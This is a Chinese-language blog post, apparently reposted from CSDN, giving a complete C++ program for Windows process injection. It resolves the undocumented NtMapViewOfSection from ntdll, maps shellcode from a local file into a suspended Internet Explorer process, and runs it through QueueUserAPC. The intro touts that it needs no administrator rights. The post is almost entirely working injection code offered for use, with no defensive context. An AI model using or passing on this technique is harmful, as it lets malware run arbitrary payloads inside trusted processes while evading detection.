ring3-NtMapViewOfSection注入

心已赠人 2022-09-26 03:09 15阅读 0赞

新的注入方式:利用一个未公开函数NtMapViewOfSection在远程进程地址空间写入代码，并且用一种新的技术在远程进程中执行它，这种技术完全工作在用户模式下，并且不需要特殊的条件比如像管理员权限或者之类的要求

**\[cpp\]** [view plain][] [copy][view plain]

1.  \#define \_WIN32\_WINNT 0x0400
2.  \#include <windows.h>
3.  
4.  **typedef****LONG** NTSTATUS, \*PNTSTATUS; 
5.  \#define NT\_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
6.  
7.  **typedef****enum** \_SECTION\_INHERIT 
8.  \{ 
9.  ViewShare = 1, 
10. ViewUnmap = 2 
11. \} SECTION\_INHERIT; 
12. 
13. **typedef** NTSTATUS (\_\_stdcall \*func\_NtMapViewOfSection) ( **HANDLE**, **HANDLE**, **LPVOID**, **ULONG**, **SIZE\_T**, LARGE\_INTEGER\*, **SIZE\_T**\*, SECTION\_INHERIT, **ULONG**, **ULONG** ); 
14. 
15. func\_NtMapViewOfSection NtMapViewOfSection = NULL; 
16. 
17. 
18. **LPVOID** NTAPI MyMapViewOfFileEx( **HANDLE** hProcess, **HANDLE** hFileMappingObject, **DWORD** dwDesiredAccess, **DWORD** dwFileOffsetHigh, **DWORD** dwFileOffsetLow, 
19. **DWORD** dwNumberOfBytesToMap, **LPVOID** lpBaseAddress ) 
20. \{ 
21. NTSTATUS Status; 
22. LARGE\_INTEGER SectionOffset; 
23. **ULONG** ViewSize; 
24. **ULONG** Protect; 
25. **LPVOID** ViewBase; 
26. 
27. 
28. // 转换偏移量
29. SectionOffset.LowPart = dwFileOffsetLow; 
30. SectionOffset.HighPart = dwFileOffsetHigh; 
31. 
32. // 保存大小和起始地址
33. ViewBase = lpBaseAddress; 
34. ViewSize = dwNumberOfBytesToMap; 
35. 
36. // 转换标志为NT保护属性
37. **if** (dwDesiredAccess & FILE\_MAP\_WRITE) 
38. \{ 
39. Protect = PAGE\_READWRITE; 
40. \} 
41. **else****if** (dwDesiredAccess & FILE\_MAP\_READ) 
42. \{ 
43. Protect = PAGE\_READONLY; 
44. \} 
45. **else****if** (dwDesiredAccess & FILE\_MAP\_COPY) 
46. \{ 
47. Protect = PAGE\_WRITECOPY; 
48. \} 
49. **else**
50. \{ 
51. Protect = PAGE\_NOACCESS; 
52. \} 
53. 
54. //映射区段
55. Status = NtMapViewOfSection(hFileMappingObject, 
56. hProcess, 
57. &ViewBase, 
58. 0, 
59. 0, 
60.  &SectionOffset, 
61. &ViewSize, 
62.  ViewShare, 
63.  0, 
64. Protect); 
65. **if** (!NT\_SUCCESS(Status)) 
66. \{ 
67. // 失败
68. **return** NULL; 
69. \} 
70. 
71. //返回起始地址
72. **return** ViewBase; 
73. \} 
74. 
75. **int** WINAPI WinMain (**HINSTANCE**, **HINSTANCE**, **LPSTR**, **int**) 
76. \{ 
77. **HMODULE** hDll = LoadLibrary( "ntdll.dll" ); 
78. 
79. NtMapViewOfSection = (func\_NtMapViewOfSection) GetProcAddress (hDll, "NtMapViewOfSection"); 
80. 
81. // 取ShellCode,任何你想实现的
82. **HANDLE** hFile = CreateFile ("C:\\\\shellcode.txt", GENERIC\_READ, 0, NULL, OPEN\_EXISTING, FILE\_ATTRIBUTE\_NORMAL, NULL); 
83. 
84. **HANDLE** hMappedFile = CreateFileMapping (hFile, NULL, PAGE\_READONLY, 0, 0, NULL); 
85. 
86. // 启动目标进程
87. STARTUPINFO st; 
88. ZeroMemory (&st, **sizeof**(st)); 
89. st.cb = **sizeof** (STARTUPINFO); 
90. 
91. PROCESS\_INFORMATION pi; 
92. ZeroMemory (&pi, **sizeof**(pi)); 
93. 
94. CreateProcess ("C:\\\\Programme\\\\Internet Explorer\\\\iexplore.exe", NULL, NULL, NULL, FALSE, CREATE\_SUSPENDED, NULL, NULL, &st, &pi); 
95. 
96. 
97. // 注入shellcode到目标进程地址空间
98. **LPVOID** MappedFile = MyMapViewOfFileEx (pi.hProcess, hMappedFile, FILE\_MAP\_READ, 0, 0, 0, NULL); 
99. 
100. // 创建一个新的能够在目标线程恢复是首先执行的APC
101. QueueUserAPC ((PAPCFUNC) MappedFile, pi.hThread, NULL); 
102. ResumeThread (pi.hThread); 
103. CloseHandle (hFile); 
104. CloseHandle (hMappedFile); 
105. CloseHandle (pi.hThread); 
106. CloseHandle (pi.hProcess); 
107. **return** 0; 
108. \}

[view plain]: http://blog.csdn.net/hgy413/article/details/7799843#